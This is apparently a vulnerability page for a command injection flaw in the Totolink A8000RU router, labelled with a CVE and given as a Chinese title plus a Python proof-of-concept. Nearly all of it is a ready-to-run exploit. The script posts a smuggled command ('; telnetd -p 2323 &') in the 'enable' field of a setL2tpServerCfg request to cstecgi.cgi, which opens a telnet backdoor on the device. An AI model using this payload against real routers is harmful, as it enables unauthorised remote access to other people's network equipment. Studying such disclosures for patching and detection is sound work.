CVE-2026-9436 Totolink A8000RU操作系统命令注入漏洞

import requests # Target URL target_url = "http://<TARGET_IP>/cgi-bin/cstecgi.cgi" # Payload to inject commands (e.g., ping back to attacker) # Using a semicolon to chain commands payload = "; telnetd -p 2323 &" # Data structure based on typical Totolink requests data = { "function": "setL2tpServerCfg", "enable": payload } headers = { "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (compatible; PoC/1.0)" } try: response = requests.post(target_url, data=data, headers=headers, timeout=5) if response.status_code == 200: print("[+] Request sent successfully. Check if telnet started on port 2323.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")